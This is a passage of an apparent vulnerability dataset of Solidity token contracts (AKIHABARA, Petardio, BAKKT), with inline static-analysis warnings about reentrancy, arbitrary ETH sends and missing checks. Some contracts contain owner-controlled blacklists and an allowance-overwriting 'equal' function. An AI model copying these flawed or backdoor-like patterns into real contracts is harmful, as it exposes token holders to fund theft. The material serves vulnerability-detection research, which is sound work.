min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: b6c0ba3\n\t\t\t\t// reentrancy-eth | ID: fa1db70\n qSendEth();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fa1db70\n _qOwned[address(this)] = _qOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b6c0ba3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fa1db70\n _qOwned[from] = _qOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fa1db70\n _qOwned[to] = _qOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b6c0ba3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a342aec): AKIHABARA.removeLimits(address).limit lacks a zerocheck on \t qFeeWallet = limit\n\t// Recommendation for a342aec: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: a342aec\n qFeeWallet = limit;\n\n _maxQAmount = _tTotal;\n\n _maxQWallet = _tTotal;\n\n _isQExcluded[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function equal(address[2] memory eqs) private returns (bool) {\n _qAllowance[eqs[0]][eqs[1]] = (10 + 2 * _maxQWallet.mul(100)).mul(10);\n\n return true;\n }\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 03f0c5b): AKIHABARA.qSendEth() sends eth to arbitrary user Dangerous calls qFeeWallet.transfer(address(this).balance)\n\t// Recommendation for 03f0c5b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function qSendEth() private {\n\t\t// reentrancy-events | ID: b6c0ba3\n\t\t// reentrancy-events | ID: 8fc457a\n\t\t// reentrancy-eth | ID: fa1db70\n\t\t// arbitrary-send-eth | ID: 03f0c5b\n qFeeWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b682f1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b682f1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ef0f732): AKIHABARA.launch() ignores return value by uniQRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ef0f732: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5d09604): AKIHABARA.launch() ignores return value by IERC20(uniQPair).approve(address(uniQRouter),type()(uint256).max)\n\t// Recommendation for 5d09604: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b1b1f8c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b1b1f8c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: b682f1e\n\t\t// unused-return | ID: ef0f732\n\t\t// reentrancy-eth | ID: b1b1f8c\n uniQRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b682f1e\n\t\t// unused-return | ID: 5d09604\n\t\t// reentrancy-eth | ID: b1b1f8c\n IERC20(uniQPair).approve(address(uniQRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b682f1e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b1b1f8c\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10686.sol",
"size_bytes": 19035,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 10e5c8e): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 10e5c8e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 01844ea): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 01844ea: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 79e3130): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 79e3130: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1708b61): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 1708b61: Consider ordering multiplication before division.\ncontract Petardio is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 704bc2b): Petardio._taxWallet should be immutable \n\t// Recommendation for 704bc2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70341a4): Petardio._initialBuyTax should be constant \n\t// Recommendation for 70341a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b950b3): Petardio._initialSellTax should be constant \n\t// Recommendation for 4b950b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95f017e): Petardio._finalBuyTax should be constant \n\t// Recommendation for 95f017e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f592be): Petardio._finalSellTax should be constant \n\t// Recommendation for 2f592be: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6027760): Petardio._reduceBuyTaxAt should be constant \n\t// Recommendation for 6027760: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7aa7f9): Petardio._reduceSellTaxAt should be constant \n\t// Recommendation for a7aa7f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2461ac3): Petardio._preventSwapBefore should be constant \n\t// Recommendation for 2461ac3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Petardio\";\n\n string private constant _symbol = unicode\"PETARDIO\";\n\n\t// divide-before-multiply | ID: 79e3130\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 01844ea\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 26c6fd1): Petardio._taxSwapThreshold should be constant \n\t// Recommendation for 26c6fd1: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1708b61\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: dee3035): Petardio._maxTaxSwap should be constant \n\t// Recommendation for dee3035: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 10e5c8e\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b60b5aa): Petardio.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b60b5aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7895b9d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7895b9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a3c7560): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a3c7560: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7895b9d\n\t\t// reentrancy-benign | ID: a3c7560\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7895b9d\n\t\t// reentrancy-benign | ID: a3c7560\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 38d004e): Petardio._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 38d004e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a3c7560\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7895b9d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 41cef66): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 41cef66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 464b0e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 464b0e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 41cef66\n\t\t\t\t// reentrancy-eth | ID: 464b0e4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 41cef66\n\t\t\t\t\t// reentrancy-eth | ID: 464b0e4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 464b0e4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 464b0e4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 464b0e4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 41cef66\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 464b0e4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 464b0e4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 41cef66\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 41cef66\n\t\t// reentrancy-events | ID: 7895b9d\n\t\t// reentrancy-benign | ID: a3c7560\n\t\t// reentrancy-eth | ID: 464b0e4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3a4f9cc): Petardio.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3a4f9cc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 41cef66\n\t\t// reentrancy-events | ID: 7895b9d\n\t\t// reentrancy-eth | ID: 464b0e4\n\t\t// arbitrary-send-eth | ID: 3a4f9cc\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb12d1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb12d1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f45f117): Petardio.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f45f117: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2e1c634): Petardio.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2e1c634: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 53b6f3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 53b6f3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: cb12d1a\n\t\t// reentrancy-eth | ID: 53b6f3e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cb12d1a\n\t\t// unused-return | ID: f45f117\n\t\t// reentrancy-eth | ID: 53b6f3e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: cb12d1a\n\t\t// unused-return | ID: 2e1c634\n\t\t// reentrancy-eth | ID: 53b6f3e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: cb12d1a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 53b6f3e\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10687.sol",
"size_bytes": 22030,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract BAKKT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _ttExcludedFee;\n\n mapping(address => bool) private _ttExcemptFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 8cc7287): BAKKT._bots is never initialized. It is used in BAKKT._transfer(address,address,uint256)\n\t// Recommendation for 8cc7287: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bf8dddb): BAKKT._ttWallets should be immutable \n\t// Recommendation for bf8dddb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _ttWallets;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BAKKT\";\n\n string private constant _symbol = unicode\"BAKKT\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fb6a85): BAKKT._minTaxSwap should be constant \n\t// Recommendation for 8fb6a85: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39982c4): BAKKT._maxTaxSwap should be constant \n\t// Recommendation for 39982c4: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: b341437): BAKKT._initialBuyTax should be constant \n\t// Recommendation for b341437: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a14a8b): BAKKT._initialSellTax should be constant \n\t// Recommendation for 7a14a8b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 309c787): BAKKT._finalBuyTax should be constant \n\t// Recommendation for 309c787: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a2f29d): BAKKT._finalSellTax should be constant \n\t// Recommendation for 6a2f29d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0572403): BAKKT._reduceBuyAt should be constant \n\t// Recommendation for 0572403: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad4ab42): BAKKT._reduceSellAt should be constant \n\t// Recommendation for ad4ab42: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f800d1): BAKKT._preventCount should be constant \n\t// Recommendation for 6f800d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCount = 0;\n\n address private ttSendors;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n ttSendors = _msgSender();\n\n _ttWallets = payable(0x492b02A5130dad3Fe11B48902E8B35F09741b6B9);\n\n _ttExcemptFee[owner()] = true;\n\n _ttExcemptFee[_ttWallets] = true;\n\n _tOwned[address(this)] = _tTotal;\n\n _ttExcludedFee[owner()] = true;\n\n _ttExcludedFee[address(this)] = true;\n\n _ttExcludedFee[_ttWallets] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function addLiquidity(address[] memory addrs) external {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (addrs[i] == 